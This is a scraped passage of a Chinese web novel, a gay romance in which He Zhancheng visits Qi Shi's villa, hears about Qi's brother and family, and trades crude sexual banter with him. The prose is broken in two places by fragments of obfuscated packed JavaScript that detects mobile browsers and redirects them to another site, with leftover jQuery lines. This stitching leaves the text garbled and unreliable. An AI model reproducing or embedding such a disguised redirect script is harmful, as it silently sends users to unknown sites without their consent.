茉:“……没事挂了吧。” 下午一点半,烤肉店正热闹。 屋里二十来桌客人,座无虚席,炙热炭火烤着,成箱啤酒喝着,客人们各聊各的,吵吵嚷嚷,收银台音响里放着流行乐,何湛程埋头坐在角落位置吃肉,空气不流通,热得身上直冒汗。 戚时从外面接完电话,一进屋就见何湛程在脱衣服。 那人别着脸,一双浮现着淡青色筋络的手抬起,手指骨节分明,白而修长,长到很容易让人联想到一些少儿不宜的事,他利落地褪下西装,修身的白衬衫下,宽肩窄腰,挺着薄薄的胸肌,领口解开两颗扣子,随性又潇洒,脱完,又挽起衬衫袖口,露出肌腱紧实的小臂。 这根本就是一个成熟干练的男人,却总因为皮肤白、性格灵活多变而令人忽略他也是个男性荷尔蒙爆棚的食肉类动物。 这小子在外面是做1的。 戚时目光紧紧凝视着对方敞开的领口,脑子里冷不丁蹦出来这句话。 何湛程一抬头,男人正朝自己走来。 一身纯黑T恤运动裤,脖子里挂着银色的子弹头,血脉偾张的两条手臂垂落在胯边,视线凝到衣摆正中,男人裤|档口饱满鼓起,他眸底的炽烈与狂热一闪而过。 他笑声招呼道:“早知道这么热,我也穿短袖了。” 戚时坐到他对面,开了两瓶啤酒,交瓶颈和他碰了下,说:“下午想去哪玩儿?” 何湛程挑眉:“你下午不上班?” 戚时仰头灌了口酒:“今天不上。” 何湛程笑:“为了我?” 戚时也笑:“还没到那种程度。” 何湛程喝了口酒,把剪刀和夹子递过去,自己低头吃肉,随口问着:“中午你和赵博不是吃过了吗,还点这么多?” 戚时动作娴熟地烤着肉,2/3夹对方餐盘里,1/3夹自己这边,说:“没滋没味的,没吃饱。” 何湛程不信:“他不像是会请别人吃没滋没味饭菜的人。” 戚时轻哼一声:“怎么,才见过一面你就懂他了?” 何湛程在桌下伸脚轻踢他一下:“你看你,又吃醋,我再收敛都救不了你。” 戚时颇为潇洒:“没关系,不就是玩儿么,和谁不是玩儿啊!” “咱俩也是玩儿吗?”何湛程不经意问了句,头都没抬。 “不然呢?”戚时快刀剪着肉,也问对方:“咱俩合适么?” “我不知道。”何湛程停下筷子,很认真地思考了一下这个问题,然后抬头问对面:“你觉得呢?” 询问的目光里,不自觉闪过一道希翼的神色,仿佛只要戚时说他们是什么关系,他就认命和他是什么关系了。 戚时闭着眼吨吨灌酒,没看到。 直到一瓶酒喝空,他睁开眼望向对方,笑得一脸无所谓:“我觉得,不太合适!” “行,”何湛程点点头,“我知道了。” “所以,咱们下午去哪儿玩儿?” “去你家吧,我想看看你的狗,茉莉说你挺宠她的。” 戚时鼻孔出气,不乐意地问:“你去我家光看狗啊?” “也顺便看看你。” “……” “所以,你想让我去么?” “想。” 30. 第30章 开车走在路上,戚时告诉何湛程,他一共有过四个家。 第一个家,是七岁之前,他在某贫困县某乡镇的家。 戚时对父母葬礼之前的家庭生活毫无记忆,根据他哥细致的描述,他爸妈生前是经营小门市的商贩,他妈腌酱菜来卖,常年生意冷清,需要隔三差五去打零工,他爸是跑长途货运的司机,一天赚二百,但工作不稳定,除去一家四口吃喝拉撒,工资勉强交够店铺租金。 他家临街住,一楼是挂着“柒柒酱菜园”掉红漆牌匾的门市,二楼有三个房间,两间卧室,他爸妈一间,他和他哥一间,卫生间和厨房算单独一间,客厅摆着七八个酱菜大缸,每间屋子的气味都不太好闻。 后来他爸妈出了车祸,他和他哥的学校都在县城,他哥就把他妈腌的那些酱菜全都卖了,拿着肇事者的二十万赔偿金在县城买了套很破旧的两室一厅,那是他上大学之前,一个人住了十年的小窝,也是他最讨厌、也最喜欢的一个家。 “为什么讨厌又喜欢?”何湛程问。 “讨厌是因为那个家几乎都是我一个人在住,而且巨他妈破,你无法想象的破,都快成烂尾楼了,老子当年在学校穿得又帅又时髦,根本不敢把同学往家里带,怕他们笑话我。” “哦,”何湛程偏过脸,伸手摸了摸驾驶座上大宝贝的头,笑问,“那喜欢呢?是因为你哥吗?” 戚时点点头:“我哥还没当演员的时候,他兼职家教老师,一个人打两份工,攒下来的钱全给我买好吃的和营养品,他大学离我小学挺近的,也不用住宿,每天傍晚就骑个破自行车接我放学回家。” “那时候可自在了,我在客厅边看电视边写作业,他就系着围裙在厨房里忙活,每顿有荤有素,还怕我长不高,回回买三百多一瓶的维生素片给我吃,但他自己后来老是贫血,因为营养不良被他同学送进了好几次医院,他舍不得买药,每次都趁医生不注意就跑了。” 何湛程“哦”了一声,寻思着怪不得傻大个是傻大个呢,原来是哥哥把他照顾得好。 “那是我人生中最幸福的时光,”戚时眼尾浮起笑意,“虽然没钱,但每天都能和我哥待在一起,他不是什么万众瞩目的影帝,我也不是什么半吊子的总裁,我俩就这么平平凡凡的过日子——诶!对了,我跟你说,我哥做的菜贼好吃!几根破黄瓜也能鼓捣出不同花样儿来,哈哈!我俩的规矩是,他做饭,我刷碗,但我每次吃饱了就装困,最后还是他刷碗哈哈哈!” 何湛程也哈哈哈:“你小子当然幸福了!你哥可就惨了,他养你这么个祖宗不得累死啊!” 说完,笑脸一僵,自己猛然也意识到什么。 好啊,他有点心虚地想,怪不得老大把他丢在戚时身边,原来是让他何湛程跟着人家学习孝敬哥哥来了! 啧,难怪说强行教育不如耳濡目染,老狐狸真够阴险的啊…… 戚时脸上也难掩愧疚:“是啊,我是幸福了,我哥养我不容易,后来他听人家说做演员赚钱多,他就又跑去做演员了,你不知道,我哥十来岁、二十来岁的时候长得可帅了!又白又俊的,模样也正!好多男男女女都喜欢他!可惜他事业正式起步的时候,人已经快三十了。” “然后呢?” “什么然后?” “你哥演戏爆火了,你哥俩一人得道鸡犬升天,你小子肯定也开始吃香喝辣了吧?” 戚时笑着说了句“差不多吧”。 “后来呢?” “什么后来?” 何湛程挑眉:“你继续讲啊,讲你是怎么吃香喝辣的,讲你变成富二代后最喜欢吃的东西和最讨厌吃的东西,讲你明明有个正常的哥,你又怎么长成今天这副臭德行的,还有,你怎么搬你第三个家、第四个家啊!” 戚时突然沉默了。 何湛程察觉不对劲,问:“大宝贝你怎么了?!” 戚时低笑,嗓音是少年的清朗,语气也很轻,冷硬刀削般的面庞忽地变得柔和起来。 “程儿,你知道么,你是第一个问我‘后来呢’的人。” 何湛程“哦”一声,仰身靠在副驾座椅背,不以为然道:“那说明你这个故事已经讲过无数回了,我只不过是你千万听众中的一个而已。” “不,你不一样。” “怎么不一样。” “你问我‘后来呢’。” “问‘后来呢’就不一样了吗?” “嗯。” “为什么啊?” “因为你是我千万听众中唯一一个认真听我讲话的人。” 何湛程一抱臂,别过脸看向窗外,哼唧一声:“肉麻!” 戚时打着方向盘,笑个不停:“诶,程儿,你听见没,刚才那是什么怪动静啊,老鼠叫一样。” 何湛程故意低沉着嗓子说:“我不知道啊,我没听见。” 戚时笑:“是吗,我猜是只刚吃饱了五花肉的大肥老鼠,白白嫩嫩的,胀着肚皮,松着腰带,连外套都穿不进去了,待会儿我必须得多捏他几下,看看他还会不会再闹出这种动静。” 何湛程呵呵笑:“那我就吐你一身,臭死你!” 戚时调笑道:“怎么会,我们程儿身上到处都是香喷喷的,连那里都是香的,又白净又香。” 何湛程闭着嘴,没应这茬。 戚时立刻意识到他把氛围搞得暧昧了,连忙转移话题,说:“我、我第三个家是现在我哥家,他在御江天府买的19楼三百来平的大平层,我考上燕体后,就把原来在县城的东西全搬到他那儿了,但他经常在各地拍戏回不来,我嫌家里太冷清,住不到两个月就回学校宿舍住去了。” “干嘛住宿舍,”何湛程不太赞同道,“几个人挤在一个小屋里,跟蹲牢房一样,想打个飞机都不方便。” 戚时啧一声:“可以晚上去厕所打。” 何湛程一脸郑重:“我就喜欢躺在被窝里打!打之前,一定得先喝点儿酒,再把衣服都脱光了钻被窝里,从脑子里随便翻出张脸来找感觉,感觉到了我就开始干活儿,多舒服啊!” 戚时:“……” 不知怎的,听人这般描述着,仿佛他亲眼看到何湛程之前每晚都对着他照片干坏事的样子。 第一次知晓时,他备受羞辱怒不可遏,后来怒意消褪,每每回想起来,便不禁脸上发烫。 何湛程扭头问他:“你呢?你怎么打飞机的?站着么?” 戚时装作没听见,继续道:“咱们待会儿要去的是我第四个家——其实也不算是个家,家具都没多少,好几个屋儿都是空的,我懒得布置,现在每天就一保姆给我打扫卫生和做饭,因为我哥这两年有对象了,不让我和他一起住,我就搬过去了。” 何湛程好奇问:“也是大平层么?” “不是,是别墅,”戚时问,“怎么,你喜欢住大平层?” “不是啊,”何湛程笑,“大平层你都嫌冷清,住别墅晚上不得吓得哭出来啊。” “是啊,”戚时似笑非笑地说,“我一个人住怕死了,你要不搬来和我一起住呗,我晚上哭了还能跑你怀里躲躲。” 何湛程挑眉:“真的假的?” 戚时回得很圆滑:“你来就是真的,你不来就是假的。” 何湛程犹豫了下,然后果断一挥手:“算了!我机票都定了,明早就回家了,就不成天在外边浪着了!” 戚时搭在方向盘上的手一顿,沉默片刻,没偏头:“你又要走了?” “嗯。” “理由呢?又是回去看那个许若林?” “我回自己家需要什么理由?”何湛程懒洋洋道:“许若林那事儿已经结束了,我跟他现在就是朋友。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409039|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 戚时嗤笑不信:“谁会和睡过的人做朋友。” “我啊,”何湛程满不在意地说:“怎么,他都没意见,你倒有意见了?” “没,”戚时状似不经意提起,“那裴玉也——” “我没跟他上床。” 戚时感动得差点落泪:“好,挺好,我其实挺看好那小子的。” “咋啦,”何湛程笑眯眯地瞅他,“我跟他上床你就不看好他了?” 戚时不答,立刻又换个话题:“你爸这慈善做的也忒善了吧,还给大学捐楼呢啊?” 何湛程“嗐”一声:“我当初退学回国,我家老爷子就想安排我在国内读算了,我不想在家门口上学,他就在燕京大学捐了个项目,跟佟校长说我准备好了随时过来上课,我嫌没劲,就没来。” 戚时了然,笑声劝着:“怎么没劲了,从前没劲,现在还没劲啊?你随时来上呗,我还能看着你点儿,多好啊。” 一句“我又不跟你谈恋爱,一个人在这儿上学有个屁劲”马上脱口而出,戚时的车已经停在了酒店门口。 何湛程低头解安全带,没将那句暗示意味太明显的话讲出来。 戚时没熄火,扭头问他:“用我陪你进去吗?” 何湛程点了下头,说:“行,正好我收拾行李,晚上去你那儿住,你明天直接给我送机场去。” 戚时今天不忙,说有空带着他玩儿,何湛程只想去这人家里看狗。 这一路,听人事无巨细把这些年所有经历的事都讲给他听,他了解完这个男人从小到大所有的一切,他们俩之间差不多也该结束了。 就像读一本书,他遇上了这个人,不小心从中间页翻开,这个人很好,肯主动倒回去帮他从第一页开始重新翻,半本就够,他读了半本他的故事,决定就此合上。 后半本就没必要了。 他没兴趣憧憬任何人、包括他自己的未来。 这遇见戚时才有的、想要去探究别人往事的臭毛病,从一个月前他点开【戚时】的搜索词条开始,到今天不厌其烦听人絮叨故旧往事,何湛程也不知道自己是怎么了,戚时趁在他下车之际俯身过来亲他嘴,他没回应。 他只感觉自己正在精心布置的、这份接近完美的离别作品,非常的矫情和傻叉。 戚时搂着他进酒店收拾行李,身体贴他很近,何湛程其实不喜欢暧昧对象这样搂他,戚时手臂扣在他腰间,不时将他往怀里带,恨不得将他塞进胸膛,姿势跟搂女朋友似的。 明明他才是这段关系的主导者。 他东西少,就一个行李箱,收拾完了,和箱子一块儿立在房间正中央,一手插兜,另一手掏手机给刘导打电话道别。 他要做一个懂礼貌的客人,对刘导浅浅表达了这阵子悉心照顾他的感谢,刘导说霜霜想他了,何湛程又让霜霜接电话,耐心陪着公主殿下东拉西扯漫无天际的聊,戚时就像只粘人的大狗,趁他打电话,从身后抱住他腰,埋头在他颈间,喉咙发出某种闷闷的咕噜声,没完没了地吻他的脖子和耳朵,弄得他很痒。 何湛程有理由怀疑,如果每个人都有一条尾巴,戚时一定会趁他不注意,把他俩的尾巴拴在一起,他走到哪儿,这傻大个儿就跟他到哪儿。 何湛程挂掉电话,闭眼憧憬了五秒那场景,还挺浪漫的。 可惜戚老二说他们只是玩玩。 他们出酒店,戚时很自然地伸手要帮他拎箱子,他没让。 无名的火气就在胸膛爆炸开了,怒意充斥进五脏六腑,气得他脑子嗡嗡响。 他默不作声地忍着,这很不合他有疯必发的脾性,于是毫不客气的,他对身旁这位他交往不到一天就宣告恋情结束的前男友摆出生平最臭的脸色。 呵,他才不要他帮自己拎箱子! 还有,他再也不要谈恋爱了。 31. 第31章 戚时明显察觉,他讲完旧事以后,何湛程对他态度变冷淡了。 不知道是不是嫌弃他的出身。 何湛程的本科在哥伦比亚大学读,自己考上的,修的还是双学位,两个似乎完全不搭边的科目,哲学和经济学,且这人上到大二,学分就差不多快修完了,GPA均分4.0。 斐然的成绩和高效的精力,和本人混乱的私生活一样令人瞠目结舌。 一句“没劲”,果断退学回家养老,任性又聪明,戚时想,如果他是何湛程的爹,他也要给燕京大学捐楼。 回他家的路上,俩人很少再聊天了,何湛程抱臂靠在椅背上假寐,冷漠的侧脸拒人千里之外,颈间线条冷硬,宽阔削平的肩膀,从乌黑头发丝到整洁的西装裤脚,匀称有力的身材,十足的精英派。 戚时本想问问何湛程以后想做什么,因为他想,他的程儿还小,当下只是阶段性的迷茫,家里又不差钱,花花少爷无聊了就下凡来游戏人间,往后长大了,程儿肯定会像家里的两个哥哥一样,要做一番事业的。 但又想,程儿不会和他这种笨笨的人讨论这种深奥的话题。 他连初中物理都学不好。 戚时决定下次要跟他哥讲,他喜欢上的是一个比他还帅、比他还有钱、比他还聪明、还远远比他年轻的人。 这般心事重重着,车终于开到了家。 天空日头正盛,门廊前的草坪滚着几个彩球,一抹耀眼的黑缓缓驶进院子,体型渐大的阿拉斯加犬扑腾着一身靓丽的毛,兴奋地吐着舌头,汪汪叫着,飞奔出来迎接主人。 戚时停好车,冲果汁儿招了下手,正要跟何湛程介绍一下他家果果公主,一扭头,又犹豫起来。 对方一路都不太高兴,面对这种毫无道理的冷脸,他不知道怎么开口。 何湛程一见着新鲜东西,倒是自己先消气了,扭头问他:“这就是果汁儿?” 戚时连忙点头:“对,你去跟她玩儿,她很亲人的。” 何湛程就下车去逗那狗。 “那我把你行李先提我屋了啊!” 戚时去开后备箱,冲人喊了一声。何湛程背对着他蹲在地上,没理他。 保姆走出来,打量几眼何湛程,笑声问戚时:“老板,家里来客人了?” 戚时拎下箱子,随口交代着:“这是自己人,今儿晚上我俩点外卖,王姨你不用管了,这就回吧。” 王姨应一声,没忍住又瞧何湛程两眼,小声跟他夸赞:“您这朋友真俊呐,白白净净的,跟颗明珠似的!” 戚时笑:“是吧,我也是第一次遇见这样的人。” “是嘞,看起来性格也很好呢!” “咳,那倒没有。” 王姨走了,偌大别墅恍若巍峨的白色城堡,梦幻又清冷。 戚时将行李拎进他三楼卧室,顺手关上门,脑海中一瞬间闪过他只需要把人行李都藏起来、那人就走不了的想法,随即又觉十分荒谬可笑。 正是午后闲暇时光,戚时换了身休闲夏装,懒洋洋托腮支胳膊在窗前,一脸惬意地沐浴着阳光。低头,饱含笑意的目光始终追逐着某人,院子里一人一狗玩儿正开心,他的程儿又变成个小傻子,笨笨的,憨憨的,两手握着果汁儿的前爪,一本正经地教她叫“哥哥”。 “说,哥——哥——” “汪汪!汪汪!” “来,我说一句,你说一句,哥——哥——” “汪汪!汪汪!” “不对!你应该说汪~汪~,声调再低点儿,就像你每次便秘来感觉那样。” “嗷~” “嗯,有那味儿了!”何湛程鼓励道:“继续,再叫一声完整的,我叫你爸给你买西班牙火腿吃!” 戚时笑出声来,忍不住探头冲底下人喊:“诶,你别乱许诺,她要是当真了你给她买啊!” 何湛程没理他,只低头摸摸果汁儿的头,挑拨离间道:“你看你爸抠儿的,一个住京城独栋大别墅的集团老总,说句话整得跟家里掀不开锅一样,你跟着他有够受罪的,等着,回头哥哥有了钱就过来接你跟我住去!” 上头人又喊:“诶,好哥哥,也给我接走呗!” 何湛程翻白眼:“你太重了,接不走!” “行吧!”上头人笑:“话说,为什么你是哥哥,我是爸爸?这不差辈儿了吗?” 何湛程惊讶抬头望他:“我什么时候跟你是一辈儿过?” 上头人:“……” 要不他还是找茉莉再约一下光子嫩肤吧。 就这么和狗玩儿了半天,何湛程被晒得脸上发烫,身上也黏黏的,他仰起头,问窗台上的男人有薄衣服没,男人终于等到这句话,热情招呼他上楼洗澡。 何湛程跟戚时说,他挺喜欢果汁儿的,黑黢黢的小鼻子,水晶葡萄大眼,浑身毛茸茸的,长着小狼似的模样,和戚时八分神似,难怪是父女呢。 戚时塞给他一套驼色的家居服,推他赶紧去浴室洗漱,等他一出来,那人立刻饿狼扑食般将他扑到床上,埋头一个劲儿蹭他肩窝,说:“程儿,一块儿睡午觉吧。” 手也不老实,掌心像磨砂纸,一点点试探着伸进他上衣里。 何湛程眼皮都没抬一下,说:“行啊,你想挨操了?” 那只手又乖乖抽走,隔着一层轻薄棉布料,攥住了他的腰。 语气闷闷的:“乖崽儿,你就不能为了你二哥牺牲一回么?” 何湛程把撒娇大狗搂在怀里,指尖把玩着那人散发着松木清香的头发,笑了声:“行啊,你先牺牲,我再牺牲。” 戚时倔强地辩驳:“我不会挨操!” 程儿蛮随意地说:“那我也不会。” 戚时恳求他:“我没和男人做过……” 程儿冷声道:“那我也没跟女人订过婚。” 戚时:“……” 怪他么? 谁让何湛程在他的生命里出现这么晚? 他没和任何人订婚,只是和蒋灵走得近了点,身边人都那么认为而已。他甚至因为戒指这个概念很特殊,从未送过任何女人戒指,但这阴阳怪气的话从何湛程嘴里说出来……还挺酸的。 他挺得瑟地问:“咋啊,你吃醋了?” 何湛程打了个哈欠,说:“对啊,怎么,不行么?” 大方坦然到令他简直无力回击。 戚时对这个风流兔崽子完全没招儿,两手又伸进人衣服里开始乱摸,兔崽子挺大方,躺着床上随意他碰,可惜只能看、不能吃,他馋得慌,只好埋头使劲儿拱人家脖颈,闷声发泄火气。 “崽儿,你觉得我老么?” “不老,才27老什么?”何湛程吻了吻他眉心,手指划过他胸口,笑声逗他,“但是有空了,你去找家好点儿的兽医院做个绝育吧,抑制发情。” 戚时气笑了。 向来都是别人夸他器大活好,却还从没被人这么骂过,兔崽子嘴毒得很。 俩人腻歪两个多小时。 戚时总有顾忌,不敢对金尊玉贵的少爷太放肆,于是本来被他抱在怀里的少爷却变本加厉地流氓起来,等少爷露出真面目,马上要把他给吃了时,戚时招架不住,匆匆忙忙捂着被人扒剩的最后一条裤衩躲进了浴室。 本次由戚大总裁正式发起的午睡项目,也由他猛冲两遍冷水澡狼狈告终。 少爷不太满意地在门口抱怨,说:“你这人毫无奉献精神,根本就没那么喜欢我,以后别亲我了。” 戚时也不爽:“你小子睡过谁一次,扭头就把人当垃圾扔了,当我不知道?” 少爷诧异:“你用过一次的套不扔,难不成等着下一次再继续循环利用吗?” 戚时怒了:“我他妈是套?!” 少爷咯咯笑:“当然不是啦,你是我最爱的大宝贝嘛!宝贝,带我参观一下你家呗?” 大宝贝又一秒被哄好,冷哼一声,擦着头发趿拉着拖鞋,领着这位偷心贼少爷在他五层独栋别墅转悠了一圈。 车库没去,少爷怕冻着他,也没坐电梯,俩人都身高腿长的,并肩走着楼梯,经过一间又一间空屋子,明媚的阳光透窗照射进来,一扇扇门被推开,空阔的屋子一间比一间亮堂干净。 少爷很懂布置,两手插兜,抬着下巴,逐一点评,说这间屋子规整宽敞,该当琴房或者书房才对,窗帘要半透光的米白色,缀着蕾丝流苏,风和日丽的春天一推窗通风,一个个悠扬的音符飘出去,心情会很美; 那间屋子露台上搞一套梨木制的桌椅,盆栽种绣球、蝴蝶兰、摩洛哥雏菊、蒲公英鼠尾草等,再养棵柠檬树,阳面外墙三角区要种会爬墙的紫藤花,门口栽四五棵银杏,夏天带朋友们上来摆烧烤,一起喝啤酒看星星,然后闻着花香,宿醉或者死去; 有大落地窗的屋子,用来做像少爷这种晚上喜欢打飞机的客人的客房,要挂暗红或黑丝绒遮光窗帘,满满的安全感,早上醒来抬臂一拉,深秋的落叶映入眼帘,少爷笑着说,他能对着飘零落叶出一整天的神儿; 最具设计感的一间屋,可以做小工作室,再单装个盥洗室,但墙面颜色不对,得换成更具视觉冲击的红蓝绿,东墙挂两张后现代主义抽象画,西角落灯台下再摆个单人沙发,一定得是德芙绒面料,冬天工作累了就倒这儿睡觉,很方便…… 戚时原本只是随意听着,一双眼只盯着少爷那张叭叭个不停的小嘴,伺机而动,随时准备扑上去狠狠亲两口,等人点评到第七间,他忽然意识到什么,甩手将擦头毛巾搭肩上,然后掏出手机,按照少爷的挑剔要求,认真在备忘录上一条条记下来。 “……地下室要装修成酒窖,铺暖金色的光,你没事了就派人去拍卖会多拍点收藏价值高的好酒,回来存一瓶,剩下的自己喝,砸了或扔了都行,但是不要送人,还有那个橱柜玻璃太丑——” 右肩冷不丁被撞了一下,何湛程扭头,见戚时低头抱着手机,小学生似的做笔记。 他挑了挑眉:“你干嘛?” 戚时抬头笑:“这不行家在这儿呢么,我回头按照你说的,该拆的都拆了,再重新装修。” 何湛程胸腔震了一震,一霎间心头闪过许多复杂情绪。 怎么了这是?不应该啊,眼前这个男人,那么英俊,又那么单纯,那么强势,又那么迷恋他,他无比享受他们之间尚未冷却的暧昧与激情,这本该是他最得意的作品…… 可,这人要因为他的几句话就把自己家拆了,他又觉得这个男人很讨厌。 “别,”他将手搭在戚时的双手上,“二哥,我随便说说的。” 他可不想以后从谁嘴里听到,戚老二跟下一任暧昧对象聊故旧往事时,说“我第五个家原本是第四个家,为了某个渣男少爷重新装建的,但是他其实根本不在意”这种没良心的话。 戚时诧异盯他:“干嘛,老子家又不给你住,你还操心上了?” 何湛程呵呵笑两声,扭头就走。 这狗男人爱几把怎么拆就怎么拆,他何湛程心疼个狗屁! 下午没事儿做,俩人窝在一楼客厅沙发上看电视。 何湛程盘腿抱着个装满鲜切西瓜的玻璃碗,拿着遥控器播节目,本想放足球赛,最终不知怎么想的,播了一部有戚铭参演的谍战片。 那时戚铭才27,在剧里演反派男四,身份是特|务头目的智囊团担当,因为英俊的外形、悲壮坎坷的童年背景,以及成年后睿智冷酷的无情作风,成为主角团们的头号劲敌,剧播出来,主角团无人问津,这个拥有着复杂多面的反派人物倒广受好评。 戚时本来躺在他大腿吃西瓜,见他播了个老剧,兴冲冲坐起身来,张臂就要揽他入怀。 何湛程缓缓扭头,跟对方说,你再搂我跟搂女朋友似的,我就弄死你。 戚时轻啧一声,一把夺走他西瓜,拱着屁股将他夹到沙发扶手那边,然后整个人没轻没重地压过来,恨不得将他挤成肉饼。 “这样总行了吧!”说着,喂过来一块鲜甜的果肉。 何湛程张嘴咽下,享受地眯起眼,勉勉强强“嗯”了一声。 “这是我哥。”戚时指着电视里一个刚出场的年轻人笑,语气不无炫耀:“又帅又年轻,是吧?那时候他还没爆火呢,我也在读高中,天天训练累得跟狗一样,但一想到我只要再多努努力就能考个好学校,精神上又很轻松。” “是啊,”何湛程也笑,“细看的话,你俩长得有一点点像,但不仔细看,你俩差别还挺大的。” “是吗?” “嗯,他眉眼间的神色十分收敛,长相偏成熟稳重,同样的年纪,你就和他不一样。” “我怎么不一样?” “你长得像条疯狗。” 戚时气得好一阵笑,却发不起脾气来。他拱头蹭上人肩膀,一边吃西瓜,一边在何湛程耳边絮叨,他说,他哥其实是个巨聪明的人,初出道时,孤身一人就能跟好几方的资本势力周旋,虽然不免遭到打压,但生命力异常顽强,挑剧本的眼光也很毒辣,总能在一堆垃圾里挑出个不太垃圾的。 戚时说,他哥刚入行就知道他自己演的很多剧是烂剧,但他一不做主演,二没话语权,最重要的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409040|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,他只是赚钱养家。他知道自己有着极大的容貌优势,就凭这一点,就足够替他在演艺生涯抵挡一切不和谐声,他更不在乎外界对他的评价。 “但他现在岁数大了,过几年都该四十了,事业心和责任感都格外重,人也开始变得谨慎起来,尤其近几年他决定退到幕——”一偏头,见何湛程安静地嚼西瓜,一双眼睛认真地看着电视,忍不住紧张起来,问:“程儿,我是不是太啰嗦了?” 何湛程扭头瞅他一眼,挑眉:“怎么会,我听着呢,你说到你哥这两年要退到幕后是吧?挺好的,单纯做演员哪有在幕后当大佬来钱儿快?我投你哥一票!” “我不是这意思,我是说……我……” “说什么?” “你会不会觉得我……我有点怪?” “怪?”何湛程诧异:“哪里怪?” “就是……我总是提我哥,好像离了我哥就活不了一样,你不觉得……有点怪吗?” “哦——”何湛程立刻就懂了。他盯着对方紧绷起来的冷硬面庞,见人一脸防备又试探的神情,忍不住一笑。 “这有什么的,”他满不在意地说,“我出门在外还老提我爸跟我大哥呢!他们这么牛逼,随便提一句谁我就能到处白吃白喝,我凭什么不提?!我们是一家人,关系再烂也是一家人,别的人想显摆还没有呢!” 戚时莫名松了一口气,悬在胸膛里那块沉重的石头终于落地,但内心仍旧犹疑,怕人没领会到他的意思,于是目光紧紧注视着何湛程,似乎非要从对方嘴里求一个确定的答案:“真的?” “当然啊!”何湛程给出百分百肯定的回答:“你哥俩从小相依为命,感情深点儿不是很正常吗?我爸早年跟过他的那些弟兄,死的死,残的残,我爸现在七十多了,夜里睡不着,经常半夜三更跑去祠堂给他弟兄们挨个上香,闲着没事儿就跟我们哥仨反反复复地提那些名字,也没见我妈吃醋啊!” 戚时笑了。 这笑容似曾相识,何湛程想,是那种朴素而明亮的、十分踏实的笑。 “就像树一样,”何湛程忍不住对人进一步解释:“在恶劣的自然环境下,没有水浇灌的树注定是要往地下生长的,但地下的水很少、很深,你们必须把树根缠在一起才能冲破一层又一层坚固的土壤,你就是他,他就是你,这是共生,也是共赢。” 戚时听到这话又不禁黯然:“不,我永远都是坐享其成的那个人,我哥都是为了我才——” “放屁!”何湛程呵斥打断:“要是没有你的存在,你觉得你哥一个人能撑到现在?他对你来说是不可或缺的家人,你于他而言难道就不重要了吗!我真纳闷你脑子怎么长得,这么点儿事都拎不清,看着人模狗样的,怎么还搞愧疚那一套?!” 戚时哭笑不得:“我有什么办法,这都是老毛病了,你爸一把年纪了,大半夜不也照样跑出去上香吗,我哥……我又不能老黏着他,太不成话了。” 何湛程啧一声,知道戚老二这已经养成心病了,他猜,这毛病大概就是从戚老二发愤图强要考好学校开始的吧。 十年了,一时半会也好不了,这人并非不懂道理,只是当局者迷,除了自渡,谁也救不了他。 于是一昂头,伸手拍拍戚时肩膀,说:“那你就多跟我学学吧,我从来不觉得我欠谁的,没经过我同意就生我的人,他们就该养我;有资格骂我的人,他同样该有责任替我收拾烂摊子;讨厌我的人,就让他们永远从我眼前消失;我看上的人,想发设法也要把他们搞到手!” 戚时猝不及防发问:“那我和你看上的其他人有分别吗?” 何湛程差点闪到舌头。 然后毫不犹豫冲人笑眯眯地说:“当然有啊!你是我遇见的最特别的一个,他们都比不上你。” 戚时盯着他眼睛,审视道:“真的吗?” 何湛程淡淡道:“西瓜吃腻了,你去给我洗点圣女果来。” 戚时犹豫了下,问:“别人也给你洗圣女果吗?” 何湛程笑:“别人只能有资格给我洗脚。” 戚时又被哄高兴了,那股子少年性情冲上了头,他从沙发上跳起来,拉着人去厨厅:“你来,你得洗给我吃才行!” 何湛程没好气地被人拽去厨房,晃荡着肩,浪浪荡荡地走着,寻思着,戚老二还真是不客气,他家老爷子还没吃过他给洗的水果呢。 偏过头,望一眼窗外渐黑的天幕,又想,本该在酒店的,他这次怎么就跑人家里来了?而且磨蹭了一整天,东拉西扯的聊,都没怎么干正事儿。 低着头,清澈的纯净水从水龙头里喷涌而出,淋漓在他手背,冷白的皮肤下浮起淡淡青色的筋络,骨节分明的修长十指,心不在焉地搓着圣女果,下一秒,他感受到背后贴近来男人的胸膛。 一双略显粗糙的手怀抱着他腰,缓缓伸到他身前,也淋着水,湿漉漉地插进他的每一个指缝,一时收紧,一时又用力,和他在鲜红果子上缱绻地缠绵、难舍难分。 “程儿,”那人低哑着嗓音,灼热的气息喷洒在他耳廓,“我这一周都没事儿,你要不多住几天吧?” 何湛程闭了闭眼,一颗心摇摇欲坠。 他强撑着镇定,他绝不能让自己沦陷,脸庞也绷紧起来,用一种平静的、高高在上的口吻:“不行,我得回去让何闽轩给我把卡解冻了,我现在身上一分钱都没有,真不自在。” 男人调笑,撞他一下:“花我的啊,我的就是你的,怎么,怕二哥养不起你啊?” 何湛程也笑,身子僵硬起来:“二哥,别闹。” “程儿,”男人又撞他一下,手臂倏地箍紧了他腰,磨着牙齿咬了下他耳垂,笑得痞里痞气的:“再玩儿阵子呗,二哥还没疼够你呢。” 何湛程咬着牙不敢回头:“二哥,你再这样我就要告你性|骚扰了。” 男人哈哈笑起来:“怎么,刚认识的时候就知道对着我的照片打飞机,现在咱们都到这份儿上了,你小子舍得么?” 何湛程气得不行,说话更是毒:“我还不是怕二哥成天和一个男人搞在一起,以后嫂子会介意么?” 男人不以为然:“没有嫂子。” 